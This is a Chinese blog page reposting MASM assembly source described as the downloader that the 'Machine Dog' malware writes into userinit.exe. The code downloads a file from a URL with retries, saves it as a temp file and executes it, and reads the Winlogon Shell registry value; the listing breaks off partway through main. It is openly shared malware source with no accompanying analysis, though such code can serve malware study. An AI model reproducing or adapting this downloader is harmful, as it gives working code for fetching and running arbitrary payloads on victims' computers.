现在的位置: 首页 > 综合 > 正文

机器狗写入到userinit.exe文件的下载者源码

2013年08月30日 ⁄ 综合 ⁄ 共 6092字 ⁄ 字号 评论关闭
  1. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  2. ; 机器狗写入到userinit.exe文件的恶意代码
  3. ; by naitm(http://hi.baidu.com/naitm)
  4. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  5.                 .386
  6.                 .model flat,stdcall
  7.                 option casemap:none
  8. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  9. ; Include 文件定义
  10. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  11. include                windows.inc
  12. include                user32.inc
  13. includelib        user32.lib
  14. include                kernel32.inc
  15. includelib        kernel32.lib
  16. include                Advapi32.inc
  17. includelib        Advapi32.lib
  18. include                wininet.inc
  19. includelib        wininet.lib
  20. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  21. ; 数据段
  22. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  23.                 .data    
  24. nThreadCount        dd                0
  25. g_ThreadCount        dd                0
  26. PathName                        db         '.',0
  27. szAgent                        db                'Shell',0
  28. szUser32Dll                db                'user32.dll',0
  29. szLoadRemoteFonts        db        'LoadRemoteFonts',0
  30. szSubKey                        db         'SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon',0
  31. szUrlList                 db         'http://127.0.0.1/cert.cer',0
  32. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  33. ; 代码段
  34. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  35.                 .code
  36. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  37. _RunIt                        proc        @lpExePath
  38.  
  39.                 local        @ProcessInformation:PROCESS_INFORMATION
  40.                 local        @StartupInfo:STARTUPINFO
  41.  
  42.  
  43.                 invoke        GetStartupInfo,addr @StartupInfo
  44.                 invoke        CreateProcess,0,@lpExePath,0,0,0,20h,0,0,addr @StartupInfo,addr @ProcessInformation
  45.                 .if                eax == 0
  46.                                         invoke        CloseHandle,@ProcessInformation.hThread
  47.                                         invoke        CloseHandle,@ProcessInformation.hProcess
  48.                 .endif        
  49.                
  50.                 leave
  51.                 retn    4
  52. _RunIt                        endp
  53. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  54. _DownloadFile        proc        @lpURL,@lpSaveFile,@Buffer
  55.  
  56.                 local        @hInternet,@hInternetFile,@hLocalFile,@nNumberOfBytesToWrite,@NumberOfBytesWritten,@nWriteCount
  57.                 local        @lpbuffer[200h]:BYTE
  58.                                        
  59.                 xor        eax, eax
  60.                 mov        @nWriteCount, eax
  61.                 invoke        InternetOpen,addr szAgent,0,0,0,0
  62.                 .if        eax != 0
  63.                                 mov        @hInternet, eax
  64.                                 invoke        InternetSetOption,@hInternet,2,@Buffer,4
  65.                                 invoke        InternetSetOption,@hInternet,6,@Buffer,4
  66.                                 invoke        InternetOpenUrl,@hInternet,@lpURL,0,0,200000h,0
  67.                                 .if        eax != 0
  68.                                                 mov        @hInternetFile, eax
  69.                                                 mov        @nNumberOfBytesToWrite, 0
  70.                                                 mov        @NumberOfBytesWritten, 200h
  71.                                                 invoke        HttpQueryInfo,@hInternetFile,13h,addr @lpbuffer,/
  72.                                                                         addr @NumberOfBytesWritten,addr @nNumberOfBytesToWrite
  73.                                                 .if        eax != 0
  74.                                                                 invoke        CreateFile,@lpSaveFile,40000000h,0,0,4,0,0
  75.                                                 .if        eax != 0FFFFFFFFh
  76.                                                                 mov        @hLocalFile, eax
  77.                                                                 .while TRUE
  78.                                                                                 mov        @nNumberOfBytesToWrite, 0
  79.                                                                                 invoke        InternetReadFile,@hInternetFile,addr @lpbuffer,200h,addr @nNumberOfBytesToWrite
  80.                                                                                 .break        .if (!eax)
  81.                                                                                 .break        .if (@nNumberOfBytesToWrite==0)
  82.                                                                                 inc        @nWriteCount
  83.                                                                                 invoke        WriteFile,@hLocalFile,addr @lpbuffer,@nNumberOfBytesToWrite,/
  84.                                                                                                         addr @NumberOfBytesWritten,0              
  85.                                                                 .endw
  86.                                                                 invoke        SetEndOfFile,@hLocalFile
  87.                                                                 invoke        CloseHandle,@hLocalFile
  88.                                                 .endif
  89.                                                 .endif  
  90.                                                 invoke        InternetCloseHandle,@hInternetFile
  91.                                 .endif
  92.                                 invoke        InternetCloseHandle,@hInternet
  93.                 .endif
  94.                 mov        eax, @nWriteCount
  95.                 leave
  96.                 retn        0Ch
  97.  
  98. _DownloadFile   endp
  99. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  100. _DownloadEXERunIt proc    @lpURL  
  101.  
  102.                 local        @DownTimes
  103.                 local        @TempFileName[204h]:BYTE
  104.                 local        @TempFileName2[204h]:BYTE
  105.                 local        @szUrl[104h]:BYTE
  106.                                        
  107.                 mov        @DownTimes, 3Ch
  108.                 invoke        lstrcpy,addr @szUrl,@lpURL
  109.                 invoke        RtlZeroMemory,addr @TempFileName,204
  110.                 invoke        GetTempFileName,offset PathName,0,0,addr @TempFileName
  111.                 invoke        lstrcpy,addr @TempFileName2,addr @TempFileName
  112.  
  113. DownloadNxTime:                  
  114.                 invoke        _DownloadFile,addr @szUrl,addr @TempFileName,1388h
  115.                 or                        eax, eax
  116.                 jz                        DownloadFailed
  117.                 invoke        lstrcpy,addr @TempFileName,addr @TempFileName2
  118.                 invoke        _RunIt,addr @TempFileName
  119.                 jmp                DownloadEnd
  120. ; ---------------------------------------------------------------------------
  121.  
  122. DownloadFailed:                      
  123.                 invoke        Sleep,3E8h
  124.                 dec                @DownTimes
  125.                 jnz                DownloadNxTime
  126.  
  127. DownloadEnd:        
  128.                 dec                nThreadCount
  129.                 leave
  130.                 retn    4
  131. _DownloadEXERunIt endp        
  132. ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  133. start:
  134. main proc
  135.  
  136.                 local        hKey,hObject,hFile,lpBaseAddress,ThreadId
  137.                 local        szShellValue[104h]:BYTE
  138.                                        
  139.                 invoke        LoadLibrary,offset szUser32Dll
  140.                 or                        eax, eax
  141.                 jz                        RegQueryShell
  142.                 invoke        GetProcAddress,eax,offset szLoadRemoteFonts
  143.                 or      eax, eax
  144.                 jz      RegQueryShell
  145.                 call    eax
  146.  
  147. RegQueryShell:                          
  148.  
  149.                 invoke        RegOpenKeyEx,80000002h,offset szSubKey,0,20019h,addr hKey
  150.                 or      eax, eax
  151.                 jnz     TestInternet
  152.                 mov     ThreadId, 104h
  153.                 invoke        RtlZeroMemory,addr szShellValue,104h
  154.                 invoke        RegQueryValueEx,hKey,offset szAgent,0,0,addr szShellValue,addr ThreadId

抱歉!评论已关闭.